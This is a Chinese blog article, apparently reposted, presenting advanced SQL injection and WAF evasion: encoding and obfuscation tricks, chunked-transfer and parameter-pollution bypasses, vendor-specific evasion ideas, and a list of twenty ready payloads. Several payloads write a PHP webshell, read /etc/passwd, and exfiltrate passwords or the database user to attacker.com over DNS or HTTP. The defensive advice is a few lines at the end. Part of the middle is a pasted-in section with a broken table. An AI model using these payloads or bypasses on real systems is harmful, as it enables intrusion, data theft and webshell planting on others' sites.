当前位置: 首页 > backend >正文

SQL注入高级绕过手法汇总 重点

目录

SQL注入高级绕过手法与WAF绕过技术

一、高级SQL注入绕过手法

1. 编码混淆绕过

2. 利用协议特性

3. 利用数据库特性

4. 混淆与变形

5. 利用WAF规则缺陷

6. 协议与数据库结合

7. 编码与混淆叠加

8. 利用WAF性能限制

9. 利用WAF配置错误

10. 协议与编码深度结合

二、混淆注入Payload(20个)

三、市面上常见的WAF工具及绕过思路

1. ModSecurity

2. Cloudflare WAF

3. AWS WAF

4. F5 BIG-IP ASM

四、最喜欢的WAF规则及绕过手法

最喜欢的WAF规则

绕过手法

五、总结


SQL注入高级绕过手法与WAF绕过技术

SQL注入攻击已从简单的' OR 1=1演变为结合协议特性、数据库特性、编码混淆等多维攻击的复杂技术。攻击者通过创新Payload,绕过Web应用防火墙(WAF)和传统防火墙的检测。


一、高级SQL注入绕过手法

1. 编码混淆绕过

原理:通过编码转换(如URL、Unicode、HTML实体)改变Payload形式,绕过WAF对关键字或字符的检测。 方法

  • URL编码'变为%27,空格变为%20

  • Unicode编码'变为%u0027

  • HTML实体'变为'

  • 多重编码:多次嵌套编码,如%27再编码为%2527示例

  • 原始:' OR 1=1 --

  • 编码后:%27%20OR%201%3D1%20--

  • 多重编码:%25%32%37%20OR%201%3D1 绕过WAF:许多WAF只解码一次或不处理多重编码,导致Payload未被识别。

2. 利用协议特性

原理:利用HTTP协议特性(如分块传输、参数污染)分散或隐藏Payload。 方法

  • 分块传输编码:将Payload分段发送,WAF可能无法重组。

  • HTTP参数污染:重复参数(如id=1&id=2),WAF可能只检查首个参数。

  • 非标准HTTP方法:使用TRACEOPTIONS,避开WAF检测范围。 示例

  • 分块传输:

    POST /vulnerable HTTP/1.1
    Transfer-Encoding: chunked
    ​
    1
    '
    6OR 1=1
    0
  • 参数污染:?id=1&id=' OR 1=1 -- 绕过WAF:WAF可能不解析分块数据或忽略重复参数。

3. 利用数据库特性

原理:利用数据库特有语法或函数,构造WAF未覆盖的Payload。 方法

  • MySQL:用/**/代替空格,或调用CHAR()函数。

  • SQL Server:用EXEC执行动态SQL。

  • Oracle:用UNION ALL替代UNION示例

  • MySQL:id=1/**/UNION/**/SELECT/**/1,2,3--

  • SQL Server:id=1; EXEC('SELECT * FROM users')--

  • Oracle:id=1 UNION ALL SELECT NULL, NULL, NULL FROM dual-- 绕过WAF:WAF规则可能未针对特定数据库优化。

4. 混淆与变形

原理:通过大小写变化、注释插入或等价函数,改变Payload结构。 方法

  • 大小写混淆SELECT变为SeLeCt

  • 注释插入SELECT变为SEL/**/ECT

  • 等价函数:用SUBSTRING替代SUBSTR

  • 冗余关键词UNUNIONION替代UNION示例

  • 原始:id=1 UNION SELECT 1,2,3--

  • 变形:id=1 UnIoN/**/SeLeCt/**/1,2,3-- 绕过WAF:变形后的Payload可能不匹配WAF正则规则。

5. 利用WAF规则缺陷

原理:针对WAF规则盲点,构造未被拦截的Payload。 方法

  • 绕过黑名单:使用未列入黑名单的函数(如CHAR())。

  • 触发误判:添加无害逻辑(如AND 1=2),降低威胁评分。 示例id=1 AND 1=2 UNION SELECT 1,2,3-- 绕过WAF:WAF可能误判为无害请求。

6. 协议与数据库结合

原理:结合HTTP协议和数据库特性,构造复杂Payload。 方法

  • HTTP头注入:在User-AgentReferer中注入。

  • 存储过程:调用数据库内置过程。 示例

  • User-Agent: ' OR 1=1 --

  • id=1; CALL malicious_proc()-- 绕过WAF:WAF可能未检测非标准字段或存储过程。

7. 编码与混淆叠加

原理:结合编码和混淆技术,增加Payload复杂性。 方法

  • 多重编码+注释:URL编码后插入/**/

  • 数据库函数:用CHAR()表示字符。 示例id=1 UNION SELECT CHAR(0x31),CHAR(0x32),CHAR(0x33)-- 绕过WAF:复杂Payload超出WAF解析能力。

  • SQL注入是一种严重的安全威胁,攻击者通过注入恶意SQL代码操纵数据库。当前,最新技术如多重编码注入和高级检测方法在实际工作中至关重要。以下按用户需求详细分析多重编码注入和漏洞发现流程。
一、多重编码注入的实际工作流程

多重编码注入通过多次编码Payload,增加复杂性,绕过WAF检测。在实际工作中,流程如下:

二、不同数据库的多重编码支持

不同数据库对编码的支持如下表所示,攻击者需根据目标数据库选择合适编码方式:

数据库支持的编码方式多重编码示例实际应用场景
MySQLURL编码、十六进制(0xhex_string)、CHAR()%2527%20or%201%253D1%2520--,CHAR(39) OR 1=1 --登录表单,URL参数,适合WAF绕过
SQL Server十六进制(0xhex_string)、CHAR()0x27 or 1=1 --,CHAR(39) OR 1=1 --管理后台接口,需抓包测试
OracleCHR()、TO_CHAR()CHR(39)
PostgreSQLE'\xhex_string'、chr()E'\x27 or 1=1 --'高级查询功能,适合盲注场景
  • 识别输入点:使用工具如Burp Suite或Fiddler,扫描应用的所有用户输入字段,包括表单、URL参数、Cookie和HTTP头。

  • 构造多重编码Payload

    • 首先URL编码,例如单引号'变为%27,空格变为%20,构造如%27%20OR%201%3D1%20--。

    • 再进行双重编码,例如%27变为%2527,组合成%2527%2520OR%25201%253D1%2520--。

    • 结合数据库函数,如MySQL的CHAR(39) OR 1=1 --,或Oracle的CHR(39)|| ' or 1=1 --'。

  • 测试和观察:发送Payload至目标字段,观察页面是否返回异常数据、登录成功或触发错误信息,确认注入效果。

  • 数据库适配:根据目标数据库选择编码方式。例如,MySQL支持URL和十六进制编码,SQL Server支持CHAR()函数,Oracle用CHR(),PostgreSQL用E'\xhex_string'。需确保Payload与数据库兼容。

  • MySQL:支持广泛,CHAR()函数可动态生成字符,如CHAR(39)表示单引号,适合多重编码绕过。

  • SQL Server:十六进制编码0x27直接表示单引号,CHAR()函数类似MySQL,适合高安全环境。

  • Oracle:CHR()函数需结合字符串连接符||,适合复杂查询场景。

  • PostgreSQL:E'\xhex_string'格式需注意转义,适合盲注和带外注入。

8. 利用WAF性能限制

原理:通过超长或大量Payload,耗尽WAF资源。 方法

  • 超长Payload:构造数百字符的请求。

  • 高频请求:触发性能瓶颈。 示例id=1 UNION SELECT 1,2,3...(重复数百次) 绕过WAF:WAF可能在高负载下放行。

9. 利用WAF配置错误

原理:WAF未启用规则或例外路径可被利用。 方法

  • 探测规则:测试响应推断WAF配置。

  • 例外路径:针对/admin/*等未防护路径。 示例/admin/?id=1 UNION SELECT 1,2,3-- 绕过WAF:利用配置漏洞。

10. 协议与编码深度结合

原理:分散Payload至URL、Body、Header,WAF难以完整检测。 方法

  • 分散注入:URL和Body各含部分Payload。

  • 文件上传:在multipart/form-data中注入。 示例

  • URL:id=1 UNION

  • Body:SELECT 1,2,3-- 绕过WAF:WAF未关联完整Payload。


二、混淆注入Payload(20个)

以下是20个精心设计的Payload,针对最新WAF和防火墙(如Cloudflare、ModSecurity等):

  1. %27%20UNION%20SELECT%201,2,3-- (URL编码)

  2. %u0027%20OR%201=1-- (Unicode编码)

  3. ' OR 1=1 -- (HTML实体编码)

  4. '/**/UNION/**/SELECT/**/1,2,3-- (MySQL注释混淆)

  5. '; EXEC('SELECT * FROM users')-- (SQL Server动态SQL)

  6. UNION ALL SELECT NULL, NULL, NULL FROM dual-- (Oracle特性)

  7. UnIoN SeLeCt 1,2,3-- (大小写混淆)

  8. UNUNIONION SELECT 1,2,3-- (冗余关键词)

  9. User-Agent: ' OR 1=1 -- (HTTP头注入)

  10. %2527%2520OR%25201%3D1%2523 (多重编码,原始:' OR 1=1#

  11. UNION SELECT 1,0x61646D696E-- (十六进制编码,admin

  12. ?id=1&id=' UNION SELECT 1,@@version -- (参数污染)

  13. {"username": {"$ne": ""}, "password": {"$ne": ""}} (NoSQL注入)

  14. ' UNION SELECT 1,LOAD_FILE('/etc/passwd')-- (文件读取)

  15. '; SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'-- (WebShell写入)

  16. ' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test')))-- (DNS OOB)

  17. SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL)) FROM DUAL; (Oracle HTTP请求)

  18. ' AND ExtractValue(1, CONCAT(0x3a, (SELECT schema_name FROM information_schema.schemata LIMIT 1)))-- (报错注入)

  19. query { user(id: "1' UNION SELECT password FROM users -- ") { id } } (GraphQL注入)

  20. ' ANd/**/1=(sEleCT 1 FRoM/**/users WHERe/**/SUBSTRING(name,1,1)=0x41)-- (复杂混淆)


三、市面上常见的WAF工具及绕过思路

1. ModSecurity

特点:开源WAF,支持复杂规则。 绕过思路

  • 使用多重编码(如%2527)或MySQL特有注释(如/**/)。

  • 构造未列入黑名单的函数(如CHAR())。

2. Cloudflare WAF

特点:云端防护,规则更新频繁。 绕过思路

  • 通过CDN节点发送Payload,绕过集中检测。

  • 模拟业务逻辑(如伪装成正常表单提交)。

3. AWS WAF

特点:与AWS集成,支持自定义规则。 绕过思路

  • 利用未启用SQL注入防护的规则漏洞。

  • 结合AWS服务(如Lambda)触发间接注入。

4. F5 BIG-IP ASM

特点:企业级WAF,深度检测能力强。 绕过思路

  • 发送超长Payload或分块传输,消耗性能。

  • 利用HTTP非标准特性(如TRACE方法)。


四、最喜欢的WAF规则及绕过手法

最喜欢的WAF规则

  1. SQL注入通用规则:检测UNION SELECTOR 1=1等关键字。

    • 原因:覆盖广泛,适用于多种场景。

  2. 行为分析规则:监控异常请求频率或模式。

    • 原因:能识别自动化攻击。

绕过手法

  • 通用规则绕过:使用编码(如%27)、混淆(如/**/)或数据库函数(如CHAR())。

  • 行为分析绕过:模拟正常用户行为,降低请求频率,分散Payload。


五、总结

SQL注入已发展为多维攻击,结合编码混淆、协议特性、数据库特性等技术,挑战WAF防护能力。ModSecurity、Cloudflare、AWS WAF、F5 BIG-IP ASM等工具各有优势,但规则盲点、性能限制及配置漏洞仍可被利用。

防御建议

  • 输入验证:严格过滤用户输入。

  • 参数化查询:避免SQL拼接。

  • 权限控制:限制数据库操作范围。

  • 更新WAF规则:覆盖最新攻击手法。

http://www.xdnf.cn/news/2110.html

相关文章:

  • 神经发育过程中大脑临界状态的图神经网络分析方法
  • 市场上常见的工作流工具
  • 浅谈OpenAIClaude LLM Tools的额外配置
  • 计算机组成原理实验(1) 算术逻辑运算单元实验
  • Java 设计模式心法之第21篇 - 命令 (Command) - 将请求封装成对象,实现操作解耦与扩展
  • verilog中实现单周期cpu的RVM指令(乘除取模)
  • 登高架设作业证考试的实操项目有哪些?
  • 前端八股 2
  • 支持私有化部署的电子合同平台——一合通
  • 01.oracle SQL基础
  • 使用Go语言实现轻量级消息队列
  • Ubuntu系统卡机日志笔记
  • OpenHarmony 5.0设置锁屏密码失败
  • QuecPython+USBNET:实现USB网卡功能
  • 真.从“零”搞 VSCode+STM32CubeMx+C <2>调试+烧录
  • docker-compose安装RustDesk远程工具
  • 工业电子测量中的安全隐患与解决方案——差分探头的技术优势解析
  • 如何在SpringBoot中通过@Value注入Map和List并使用YAML配置?
  • 分账解决连锁酒店资金分配难题
  • Langchain文本摘要
  • Exposure Adjusted Incidence Rate (EAIR) 暴露调整发病率:精准量化疾病风险
  • 基于Python或Java实现的本地知识库文档问答系统
  • 解锁大数据新视野:构建强大可观测平台
  • Scala语法基础
  • window和ubuntu自签证书
  • SD3302 驱动:轻量级模块化,一键集成,高效易用。
  • PTC加热片详解(STM32)
  • kvm物理接口发现的脚本COLT_CMDB_KVM_IFACE.sh
  • Qt指ModbusTcp协议的使用
  • 潇洒郎:ssh 连接Windows WSL2 Linux子系统 ipv6地址转发到ipv4地址上